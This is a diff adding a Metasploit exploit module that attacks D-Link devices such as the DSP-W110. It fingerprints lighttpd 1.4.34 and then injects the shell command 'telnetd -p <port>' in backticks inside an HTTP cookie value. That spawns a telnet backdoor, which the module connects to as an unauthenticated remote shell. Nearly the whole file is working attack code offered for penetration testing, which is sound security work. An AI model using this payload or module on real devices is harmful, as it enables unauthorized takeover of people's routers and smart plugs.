|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = NormalRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Auxiliary::CommandShell |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'D-Link Cookie Command Execution', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits an anonymous remote code execution vulnerability on different D-Link |
| 19 | + devices. The vulnerability is a command injection in the cookie handling process of the |
| 20 | + lighttpd web server when handling specially crafted cookie values. This module has been |
| 21 | + successfully tested on D-Link DSP-W110A1_FW105B01 in an emulated environment. |
| 22 | + }, |
| 23 | + 'Author' => |
| 24 | + [ |
| 25 | + 'Peter Adkins', # vulnerability discovery and initial PoC |
| 26 | + 'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module |
| 27 | + ], |
| 28 | + 'License' => MSF_LICENSE, |
| 29 | + 'Platform' => 'linux', |
| 30 | + 'References' => |
| 31 | + [ |
| 32 | + ['URL', 'https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110'] # blog post including PoC |
| 33 | + ], |
| 34 | + 'DisclosureDate' => 'Jun 12 2015', |
| 35 | + 'Targets' => |
| 36 | + [ |
| 37 | + [ 'Automatic', { } ] |
| 38 | + ], |
| 39 | + 'DefaultTarget' => 0 |
| 40 | + )) |
| 41 | + |
| 42 | + end |
| 43 | + |
| 44 | + def check |
| 45 | + begin |
| 46 | + res = send_request_cgi({ |
| 47 | + 'uri' => '/', |
| 48 | + 'method' => 'GET', |
| 49 | + }) |
| 50 | + |
| 51 | + if res && res.headers["Server"] =~ /lighttpd\/1.4.34/ |
| 52 | + return Exploit::CheckCode::Detected |
| 53 | + end |
| 54 | + rescue ::Rex::ConnectionError |
| 55 | + return Exploit::CheckCode::Unknown |
| 56 | + end |
| 57 | + |
| 58 | + Exploit::CheckCode::Unknown |
| 59 | + end |
| 60 | + |
| 61 | + def exploit |
| 62 | + print_status("#{peer} - Trying to access the device ...") |
| 63 | + |
| 64 | + unless check == Exploit::CheckCode::Detected |
| 65 | + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device") |
| 66 | + end |
| 67 | + |
| 68 | + print_status("#{peer} - Exploiting...") |
| 69 | + |
| 70 | + telnetport = rand(32767) + 32768 |
| 71 | + |
| 72 | + cmd = "telnetd -p #{telnetport}" |
| 73 | + |
| 74 | + execute_command(cmd) |
| 75 | + |
| 76 | + handle_telnet(telnetport) |
| 77 | + end |
| 78 | + |
| 79 | + def handle_telnet(telnetport) |
| 80 | + |
| 81 | + begin |
| 82 | + sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) |
| 83 | + |
| 84 | + if sock |
| 85 | + print_good("#{peer} - Backdoor service spawned") |
| 86 | + add_socket(sock) |
| 87 | + else |
| 88 | + fail_with(Failure::Unreachable, "#{peer} - Backdoor service not spawned") |
| 89 | + end |
| 90 | + |
| 91 | + print_status "Starting a Telnet session #{rhost}:#{telnetport}" |
| 92 | + merge_me = { |
| 93 | + 'USERPASS_FILE' => nil, |
| 94 | + 'USER_FILE' => nil, |
| 95 | + 'PASS_FILE' => nil, |
| 96 | + 'USERNAME' => nil, |
| 97 | + 'PASSWORD' => nil |
| 98 | + } |
| 99 | + start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock) |
| 100 | + rescue |
| 101 | + fail_with(Failure::Unreachable, "#{peer} - Backdoor service not handled") |
| 102 | + end |
| 103 | + return |
| 104 | + end |
| 105 | + |
| 106 | + def execute_command(cmd) |
| 107 | + |
| 108 | + begin |
| 109 | + res = send_request_cgi({ |
| 110 | + 'method' => 'GET', |
| 111 | + 'uri' => "/", |
| 112 | + 'cookie' => "i=`#{cmd}`" |
| 113 | + }, 5) |
| 114 | + return res |
| 115 | + rescue ::Rex::ConnectionError |
| 116 | + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") |
| 117 | + end |
| 118 | + end |
| 119 | +end |
0 commit comments